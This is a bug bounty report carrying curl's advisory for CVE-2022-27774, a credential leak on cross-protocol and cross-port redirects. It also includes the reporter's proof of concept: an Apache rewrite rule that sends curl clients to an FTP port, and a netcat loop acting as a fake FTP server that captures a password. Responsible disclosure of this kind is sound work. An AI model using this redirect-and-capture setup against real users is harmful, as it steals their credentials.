Internet Bug Bounty · Report #1551586
CVE-2022-27774: Credential leak on redirect
Summary
Curl Advisory: Credential leak on redirect Project curl Security Advisory, April 27th 2022
VULNERABILITY curl follows HTTP(S) redirects when asked to. curl also supports authentication. When a user and password are provided for a URL with a given hostname, curl makes an effort to not pass on those credentials to other hosts in redirects unless given permission with a special option.
This "same host check" has been flawed all since it was introduced. It does not work on cross protocol redirects and it does not consider different port numbers to be separate hosts. This leads to curl leaking credentials to other servers when it follows redirects from auth protected HTTP(S) URLs to other protocols and port numbers. It could also leak the TLS SRP credentials this way.
By default, curl only allows redirects to HTTP(S) and FTP(S), but can be asked to allow redirects to all protocols curl supports.
We are not aware of any exploit of this flaw.
INFO This flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000 in the curl 7.1.1 release, this commit was the first version that attempted to avoid this, but the check has been bad since then.
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2022-27774 to this issue.
CWE-522: Insufficiently Protected Credentials Severity: Medium
AFFECTED VERSIONS Affected versions: curl 4.9 to and including 7.82.0 Not affected versions: curl < 4.9 and curl >= 7.83.0 Note that libcurl is used by many applications, but not always advertised as such.
THE SOLUTION There are two separate patches to apply for CVE-2022-27774: the main one and the SRP follow-up.
RECOMMENDATIONS We suggest you take one of the following actions immediately, in order of preference: A - Upgrade curl and libcurl to version 7.83.0 B - Apply the patches to your version and rebuild C - Switch off curl's automatic redirect following
TIME LINE It was first reported to the curl project on April 18 2022. We contacted distros@openwall on April 19. libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of this advisory.
CREDITS Reported by Harry Sintonen. Thanks a lot!
Link to the advisory: https://curl.se/docs/CVE-2022-27774.html
How it was found
Summary:
curl/libcurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.
Steps To Reproduce:
- Configure for example Apache2 on
firstsite.tldto perform redirect with mod_rewrite:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
```
2. Capture credentials at secondsite.tld for example with:
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done
3. curl -L --user foo https://firstsite.tld/redirectpoc
4. The entered password is visible in the fake FTP server:
Listening on 0.0.0.0 9999
Connection received on somehost someport
USER foo
PASS secretpassword
There are several issues here:
- The credentials are sent to a completely different host than the original host (
firstsite.tldvssecondsite.tld). This is definitely not what the user could expect, considering the documentation says:
When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.
- The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.
In addition, TLS SRP user credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) are also leaked on redirects.
Impact
Leak of confidential information (user credentials).